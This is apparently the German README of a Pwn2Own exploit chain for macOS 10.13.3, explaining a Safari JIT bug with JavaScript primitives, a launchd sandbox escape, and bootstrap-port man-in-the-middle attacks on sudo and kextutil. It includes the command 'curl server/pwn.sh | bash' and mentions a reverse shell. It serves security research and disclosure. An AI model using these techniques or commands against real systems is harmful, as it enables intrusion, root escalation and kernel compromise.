
A Pwn2Own exploit chain
Safari RCE, Sandbox-Escape und LPE zum Kernel für macOS 10.13.3.
Installiere nasm und tornado:
brew install nasm
pip3 install tornado
Überprüfe config.py, wenn du den Host oder die Ports ändern möchtest. Starte danach den Server mit ./server.py und navigiere zu der angezeigten URL.
Diese Exploit-Kette nutzt drei verschiedene Bugs, um von JavaScript-Code, der in Safari läuft, zur Codeausführung im Kernel-Modus zu gelangen:
Die Exploit-Kette ist in sechs Stufen implementiert, die sich jeweils in einem eigenen Unterverzeichnis befinden:
Jedes Unterverzeichnis (mit Ausnahme von libspc/) enthält eine Datei namens make.py, die bei Ausführung alle notwendigen Build-Befehle ausführt und eine Liste von Dateien erstellt, die vom Webserver ausgeliefert werden sollen.
Ziel: Shellcode-Ausführung innerhalb des sandboxierten WebContent-Prozesses erreichen
Ausgenutzter Bug: fehlerhafte Optimierung im DFG-JIT-Compiler
Siehe auch diesen BlackHat-Vortrag
Der DFG-JIT-Compiler repräsentiert JavaScript-Code in seiner eigenen Zwischendarstellung (IR), dem Data Flow Graph (DFG). Typischerweise wird ein JavaScript-Ausdruck in diesem Graphen in eine oder mehrere IR-Anweisungen übersetzt. Im Fall einer Konstruktorfunktion wird die Anweisung CreateThis erzeugt, die für die Allokation des this-Objekts verantwortlich ist, das von der Funktion konstruiert wird. Als Beispiel würde die Funktion function Consructor() {}, wenn sie mit new aufgerufen wird, grob übersetzt zu
v0 = CreateThis
return v0
Betrachtet man den AbstractInterpreter, sieht man, dass der DFG-JIT-Compiler annimmt, dass die CreateThis-Operation außer einer Heap-Allokation keine Seiteneffekte verursacht. Tatsächlich wird dieser Code:
function Constructor(obj) {
return obj.x;
}
grob in die folgenden DFG-Anweisungen übersetzt: (Hier wurde die StructureCheck von der TypeCheckHoistingPhase an den Anfang der Funktion verschoben).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Diese Annahme ist jedoch ungültig, da der Slow-Path-Code für CreateThis in einigen Fällen beliebigen JavaScript-Code ausführen kann. Insbesondere wird durch die Verwendung eines Proxy um die eigentliche Funktion die get-Falle für die Eigenschaft „prototype“ während des Slow-Path-Handlers für CreateThis aufgerufen, da das Prototypobjekt des konstruierten Objekts abgerufen werden muss:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Dadurch ist es nun möglich, die Structure eines Objekts zu verändern, ohne dass der JIT-Compiler ein Bailout durchführt.
Dieser Bug kann verwendet werden, um die addrof- und fakeobj-Primitive wie folgt zu konstruieren:
Wir kompilieren den Code für den Fall eines JSArray mit unboxed Double-Elementen und wechseln dann im Callback zu JSValue-Elementen. Danach lädt der JIT-Code einen JSValue aus dem Array, behandelt diese Bits jedoch als Double und gibt sie an uns zurück. Der folgende Code weist die Adresse von leakme der Eigenschaft „address“ des konstruierten Objekts zu.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Hier gehen wir im Wesentlichen umgekehrt vor: Wir optimieren den Code, um ein Double in einem Array mit unboxed Double-Elementen zu speichern, und wechseln dann im Callback erneut zu JSValue-Elementen. Der Code schreibt unser kontrolliertes Double weiterhin in unboxed Form in den Backing Storage. Wenn wir später auf dieses Array-Element zugreifen, werden diese Bits als JSValue statt als Double behandelt. Der folgende Code schreibt das unboxed Double address in den Backing Buffer von a, den wir dann als JSValue auslesen können, wodurch wir in die Lage versetzt werden, JSValues unserer Wahl in die Engine zu „injizieren“.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
Somit haben wir die Fähigkeit, ein Double zu schreiben und es als JSObject-Zeiger zu behandeln und umgekehrt. Dies kann wie in attacking javascript engines beschrieben ausgenutzt werden.
Der Exploit erreicht zunächst beliebiges Lesen/Schreiben des Prozessspeichers, indem er ein Float64Array vortäuscht, sucht dann den JIT-Bereich (als RWX gemappt) und schreibt den Shellcode der Stufe 1 dorthin.
Ziel: Stufe 2 bootstrappen, indem eine .dylib auf die Festplatte geschrieben und über dlopen() geladen wird
Ein kurzes Assembly-Payload, das im Wesentlichen Folgendes tut:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) aufrufen, um einen Pfad zu einem beschreibbaren Verzeichnis zu erhaltendlopen() in den WebContent-Prozess ladenZiel: aus der Sandbox ausbrechen
Ausgenutzter Bug: fehlende Sandbox-Prüfungen in der „legacy_spawn“-API von launchd
Siehe auch diesen Vortrag
Launchd stellt den RPC-Endpunkt „legacy_spawn“ als Routine 817 in Subsystem 3 bereit. Diese API überprüft nicht, ob dem Aufrufer das Starten von Prozessen erlaubt sein sollte, und führt für den Aufrufer einfach execve mit kontrollierten Argumenten auf einer beliebigen Binärdatei des Systems aus. Da launchd über den Bootstrap-Port erreichbar ist, ist es dadurch möglich, aus der Sandbox auszubrechen.
Der Exploit führt im Wesentlichen curl server/pwn.sh | bash aus und übergibt so die Kontrolle an Stufe 3.
Ziel: calc starten und die übrigen Stufen bootstrappen
Dies führt open /Applications/Calculator.app aus und richtet eine Reverse Shell ein, holt dann alle für die übrigen Stufen erforderlichen Dateien und führt die Exploits aus.
Ziel: Root-Rechte über einen LPE-Exploit erlangen
Ausgenutzter Bug: XNU-Bootstrap-Port-MitM
Siehe auch diesen POC-Vortrag
In XNU erlaubt die API task_set_special_port Aufrufern, ihren Bootstrap-Port zu überschreiben, der für die Kommunikation mit launchd verwendet wird. Dieser Port wird über Forks vererbt: Kindprozesse verwenden denselben Bootstrap-Port wie der Elternprozess. Ein Sicherheitsproblem entsteht nun, wenn der Kindprozess privilegierter ist als der Elternprozess, wie es zum Beispiel bei sudo (einer Setuid-Binärdatei) oder kextutil (mit der Berechtigung „com.apple.rootless.kext-management“) der Fall ist. Durch das Überschreiben des Bootstrap-Ports und das Forken eines Kindprozesses können wir nun eine MitM-Position zwischen unserem Kindprozess und launchd einnehmen (das unser Kindprozess beim Senden von Nachrichten an den Bootstrap-Port zu erreichen erwartet). Der Kindprozess wird launchd bitten, verschiedene Mach- und XPC-Dienste aufzulösen. Indem wir diese Dienste auf andere von uns kontrollierte Ports auflösen, können wir auch eine MitM-Position gegenüber beliebigen Systemdiensten einnehmen, die von unserem Kindprozess verwendet werden. Die Ausnutzung hängt dann davon ab, wie diese Dienste vom angegriffenen Programm verwendet werden.
Um Root-Rechte zu erlangen, zielen wir auf die sudo-Binärdatei und fangen ihre Kommunikation mit opendirectoryd ab, das von sudo zur Überprüfung von Anmeldeinformationen verwendet wird. Wir verändern die Antworten von opendirectoryd, sodass es so aussieht, als wäre unser Passwort gültig gewesen.
Es scheint, als habe es einen Versuch gegeben, dieses Problem zu beheben, da libxpc (das die Kommunikation mit launchd durchführt) überprüft, dass die Antworten tatsächlich von einem Prozess mit uid=0 und pid=1 (== launchd) stammen. Diese Prüfungen sind jedoch unzureichend. Wir können sie wie folgt umgehen, um opendirectoryd auf unseren eigenen Port aufzulösen:
net.saelo.hax) mit launchd über die API bootstrap_register2 registrierencom.apple.system.opendirectoryd.api durch net.saelo.hax ersetzenWas nun noch bleibt (für eine Privilegieneskalation zu Root), ist, die Nachrichten zwischen opendirectoryd und sudo weiterzuleiten, aber die Authentifizierungsfehler-Antwort durch eine Erfolgs-Antwort zu ersetzen.
Ziel: eine (selbstsignierte) Kernel-Erweiterung laden
Ausgenutzter Bug: XNU-Bootstrap-Port-MitM
Dies nutzt denselben Fehler wie Stufe 4, zielt diesmal jedoch auf kextutil. Wir fangen die Verbindung zu com.apple.trustd ab und fälschen die Zertifikatskette, sodass kextutil annimmt, dass unser selbstsigniertes Kext tatsächlich direkt von Apple signiert ist.
kextutil geht beim Laden eines .kext von der Festplatte grob wie folgt vor:
trustd kommunizieren, um die Zertifikatskette zu erhalten und festzustellen, ob das Wurzelzertifikat vertrauenswürdig istsyspolicyd kommuniziert wird. Wenn syspolicyd jedoch nicht erreichbar ist, fährt kextutil einfach fortDies ermöglicht den folgenden Angriff zum Laden selbstsignierter Kernel-Erweiterungen:
com.apple.trustd auf unseren eigenen Dienst auflösentrustd abfangen und mit einer hartkodierten Zertifikatskette eines offiziellen .kext von Apple antwortensyspolicyd blockieren (z.B. indem com.apple.security.syspolicy.kext in Service-Lookup-Anfragen an launchd durch net.saelo.lolno ersetzt wird)kextutil wird nun unsere Kernel-Erweiterung in den Kernel laden.